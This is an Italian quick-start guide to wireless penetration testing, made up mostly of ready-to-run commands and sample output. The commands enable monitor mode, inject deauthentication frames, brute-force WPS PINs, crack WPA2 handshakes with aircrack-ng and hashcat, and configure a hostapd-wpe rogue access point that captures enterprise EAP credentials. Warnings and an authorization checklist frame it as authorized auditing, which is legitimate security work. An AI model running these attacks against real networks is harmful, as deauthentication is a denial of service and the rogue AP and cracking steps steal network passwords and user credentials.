Avvio rapido: Toolkit essenziale per i test di sicurezza WiFi

Preparazione dell'Interfaccia e Modalità Monitor

Ogni test inizia con l'interfaccia wireless nello stato corretto. Le convenzioni sui nomi variano: wlan0 è l'interfaccia in modalità managed; wlan0mon è l'interfaccia in modalità monitor creata da airmon-ng, mentre alcuni driver (ad esempio, rtl88xxau moderni) mantengono wlan0 e cambiano modalità sul posto.

# Identifica la tua interfaccia wireless
ip link show | grep wl

# Termina i processi che interferiscono con la modalità monitor, poi avviala
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Verifica che la modalità monitor sia attiva
iwconfig wlan0mon

Cosa fa: check kill termina NetworkManager, wpa_supplicant e dhclient per prevenire conflitti di channel-hopping. start wlan0 crea l'interfaccia virtuale monitor. Quando usarlo: Prima di qualsiasi operazione di cattura, iniezione o scansione. Rischi: Ti disconnette da qualsiasi rete WiFi legittima; su sistemi headless, assicurati un accesso alternativo (Ethernet, console seriale) o pianifica con at. Output atteso: wlan0mon appare in iwconfig con Mode:Monitor; se vedi Mode:Managed, il chipset o il driver non supporta la modalità monitor.

Lab: Usa airmon-ng per una naming prevedibile delle interfacce. Produzione: Su sistemi dove check kill è troppo distruttivo, usa iw direttamente: sudo iw dev wlan0 set type monitor e gestisci le esclusioni di NetworkManager via nmcli.

Errore Perché ti penalizza
Dimenticare check kill Il supplicant in background salta canali, corrompendo le catture
Presupporre che wlan0mon esista Alcuni driver riutilizzano wlan0; gli script si rompono su nomi hardcoded
Eseguire su porta USB 3.0 adiacente a radio 2.4 GHz Il rumore USB 3.0 a 2.4 GHz alza il noise floor di 10-20 dB, uccidendo il range

Scansione dei Canali e Identificazione del Target

airodump-ng è il cavallo di battaglia per scoprire reti e client associati. Per default salta i canali a scacchiera; bloccati su un canale target per catture pulite.

# Scansione ampia su 2.4 GHz e 5 GHz
sudo airodump-ng wlan0mon --band abg

# Scansione mirata sul canale 36, con scrittura su file
sudo airodump-ng wlan0mon -c 36 --bssid 00:11:22:33:44:55 -w /tmp/capture

Output di esempio:

 CH 36 ][ Elapsed: 2 mins ][ 2024-01-15 09:42 ][ WPA2 handshake: 00:11:22:33:44:55

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -42      452        12    0  36  54e. WPA2 CCMP   PSK  CorpWiFi
 00:11:22:33:44:66  -67      210         0    0  36  54e. WPA2 CCMP   PSK  GuestWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -45    1e- 1e     0      142  wpa2 handshake

Cosa fa: -c 36 blocca il canale per evitare perdite da cambio canale; --bssid filtra il rumore; -w scrive pcap per analisi successiva. Quando usarlo: Fase di ricognizione e durante la cattura dell'handshake per verificare la presenza del target. Rischi: La scansione ampia espone il tuo MAC address nelle probe request; usa --essid con MAC falso se testi sistemi di rilevamento. Output atteso: WPA2 nella colonna ENC, CCMP per AES (non TKIP), PSK o MGT (Enterprise) in AUTH. handshake in Notes conferma il completamento della cattura.

Il campo PWR è relativo alla calibrazione della tua scheda, non a dBm assoluti. Una lettura di -42 su un chipset può risultare -55 su un altro. Usalo per ranking comparativo, non per mappatura della copertura.

Cattura dell'Handshake e Iniezione di Deautenticazione

Il 4-way handshake WPA2 contiene il PMKID e il MIC crittografato necessari per il cracking offline della PSK. Se i client sono inattivi, stimola la riautenticazione con frame di deauth.

# Cattura con monitoraggio client, canale bloccato
sudo airodump-ng wlan0mon -c 36 --bssid 00:11:22:33:44:55 -w /tmp/handshake

# In secondo terminale: deautenticazione mirata (5 frame, client-specific)
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

# Deautenticazione broadcast (tutti i client) — maggiore disruption
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 wlan0mon

Cosa fa: -0 5 invia 5 frame di deautenticazione; -a è l'AP target; -c è il MAC specifico del client. Quando usarlo: Quando airodump-ng mostra client connessi ma nessun handshake dopo diversi minuti. Rischi: La deauth broadcast è un denial-of-service; il targeting client-specific è più stealth ma ancora rilevabile da qualsiasi analizzatore di frame 802.11. Output atteso: airodump-ng stampa WPA handshake: 00:11:22:33:44:55 in alto a destra; la dimensione del file pcap salta di ~2-4 KB.

Lab: Usa -c mirato con 5-10 frame. Produzione / validazione rilevamento: Limita a 1-2 frame, o usa solo cattura passiva durante finestre di manutenzione note.

⚠️ Solo uso autorizzato e difensivo. L'iniezione di deautenticazione è indistinguibile da un attacco denial-of-service. Distribuiscila solo in ambienti lab o durante valutazioni di sicurezza wireless esplicitamente autorizzate con approvazione scritta dello scope.

Test del PIN WPS

WiFi Protected Setup (WPS) resta abilitato su dispositivi consumer e alcuni apparati enterprise. Il PIN è di 8 cifre ma diviso in due metà con verificatori, riducendo drasticamente lo spazio di brute-force.

# Approccio classico con Reaver
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -c 36

# Bully — spesso più veloce su chipset moderni, gestisce meglio i lockout
sudo bully -b 00:11:22:33:44:55 -c 36 -v 3 wlan0mon

Cosa fa: Entrambi gli strumenti eseguono brute-force dei PIN WPS, derivano la PSK dalla risposta del registrar. Quando usarlo: Il target mostra WPS nell'output di airodump-ng (versione 1.0/2.0). Rischi: Molti AP bloccano il WPS dopo 3-10 tentativi per ore; il test rapido attiva log evidenti. Output atteso: WPS PIN: 12345678 poi WPA PSK: ActualPassword123. I lockout stampano WARNING: Detected AP rate limiting.

La codebase originale di Reaver è stagnata; l'attuale release stabile di bully gestisce più elegantemente il recupero da lockout basati su NACK. Se WPS 2.0 è imposto con lockout stretto, nessuno strumento ha successo—questo è il segnale che il target è stato irrobustito contro questo vettore.

Attacco Dizionario WPA2-PSK

Con un handshake catturato, testa i candidati password offline. Nessuna ulteriore interazione radio richiesta.

# Verifica la presenza dell'handshake
sudo aircrack-ng /tmp/handshake-01.cap

# Esegui attacco dizionario
sudo aircrack-ng /tmp/handshake-01.cap -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55

Output di esempio:

Reading packets, please wait...

Aircrack-ng 1.x

                         [00:00:12] 143002 keys tested (11234.56 k/s)

      KEY FOUND! [ Corporate2024! ]

Master Key     : A1 B2 C3 ...

Cosa fa: -w specifica la wordlist; -b filtra per BSSID target in catture multi-rete. Quando usarlo: Dopo la cattura dell'handshake; scala a hashcat con output -J per accelerazione GPU. Rischi: Gli attacchi dizionario puri falliscono contro passphrase casuali; usa solo per validare la conformità alle policy. Output atteso: KEY FOUND! con plaintext, o messaggio di esaurimento. 1 handshake nel summary iniziale conferma cattura valida; 0 handshakes significa ricatturare.

Conversione per hashcat con speedup GPU:

aircrack-ng /tmp/handshake-01.cap -J /tmp/handshake_hccapx
hashcat -m 2500 /tmp/handshake_hccapx.hccapx /usr/share/wordlists/rockyou.txt

Deploy Rapido di Rogue AP con hostapd-wpe

hostapd-wpe semplifica l'attacco a WPA/WPA2-Enterprise impersonando la rete target e catturando credenziali EAP o relaying dell'autenticazione interna.

# Installa dal repository OpenSecurityResearch (controlla l'ultima release)
# Clona, build con patch WPE, o usa il pacchetto della distribuzione se disponibile

# Deploy base — clona SSID target, modalità Enterprise
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

hostapd-wpe.conf minimale:

interface=wlan0
ssid=CorpWiFi
channel=36
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
success_return=1

Cosa fa: Crea rogue AP; i client con validazione certificati malconfigurata si connettono ed espongono EAP-Response/Identity (username in chiaro) e potenzialmente credenziali interne. Quando usarlo: Audit wireless enterprise autorizzati per testare la validazione certificati del supplicant. Rischi: Active man-in-the-middle; qualsiasi client connesso instrada traffico attraverso il tuo sistema a meno di isolamento. Output atteso: EAP-Response/Identity: CORP\jdoe stampato a console; MSCHAPv2 o GTC challenge-response catturato nel log.

L'outer identity di EAP-TLS espone username di dominio reali prima dell'instaurazione del tunnel TLS—questo è comportamento del protocollo, non flaw di implementazione. Il fallimento più profondo è la validazione certificati server rotta: la maggior parte dei supplicant viene distribuita con default permissivi, e gli utenti abitualmente cliccano attraverso gli avvisi di certificato.

Deploy di Kismet Drone per Monitoraggio Distribuito

Kismet supporta sorgenti di cattura remote che alimentano un server centrale, abilitando il monitoraggio 802.11 distribuito senza GUI completa sui nodi edge.

# Drone headless: hardware minimale (Raspberry Pi 4, adattatore USB)
sudo kismet_cap_linux_wifi --connect 198.51.100.10:3501 --source wlan0:name=site1,channels="1,6,11,36,40,44,48"

# Server centrale con web UI
sudo kismet --no-ncurses

Cosa fa: kismet_cap_linux_wifi esegue solo il binario di cattura; alimenta pacchetti al server Kismet centrale via TCP. Quando usarlo: Deploy permanente o semi-permanente di sensori, wardriving con hardware minimale, o siti che richiedono molteplici punti di osservazione. Rischi: Rilevare client sconosciuti che si uniscono a reti—tecnicamente possibile—varia in legalità per giurisdizione e contesto di autorizzazione; devono essere definite policy di retention dei log. Output atteso: Web UI su http://198.51.100.10:2501 mostra la sorgente remota site1 con lista canali e dispositivi rilevati.

L'installazione suid-root di Kismet permette agli utenti nel gruppo kismet di aggiungere sorgenti di cattura via interfaccia web senza sudo. Se i pacchetti della tua distribuzione mancano di questo, serve sudo o aggiustamento manuale delle capability. Il modello di permessi esatto dell'attuale release stabile può variare—verifica con la documentazione del tuo pacchetto.

Checklist di Verifica dell'Autorizzazione

Verifica Convalida
Esiste autorizzazione scritta Documento di scope firmato dal proprietario della rete o delegato con autorità legale
Confini del target definiti SSID, BSSID, canali, indirizzi fisici specifici—non "l'edificio"
Timebox applicato Date di inizio e fine, con contatto di emergenza per terminazione anticipata
SSID corrispondono all'autorizzazione Il deploy di rogue AP usa solo nomi target esplicitamente permessi
Isolamento del traffico configurato Rogue AP bridged a null/NAT per prevenire esposizione accidentale a Internet dei client
Log conservati per policy Handshake catturati, credenziali, file pcap criptati a rest, data di distruzione fissata
Frame deauth documentati Ogni iniezione loggata con timestamp, target, conteggio, giustificazione
Test WPS scoped Recupero da lockout tentato solo se esplicitamente permesso; interrompi al primo report di outage non pianificato

Un file di cattura senza documentazione di catena di custodia è forensicamente inutile. Etichetta il tuo output -w con data, riferimento test case e iniziali operatore al momento della creazione—non durante la scrittura del report due settimane dopo.

Letture consigliate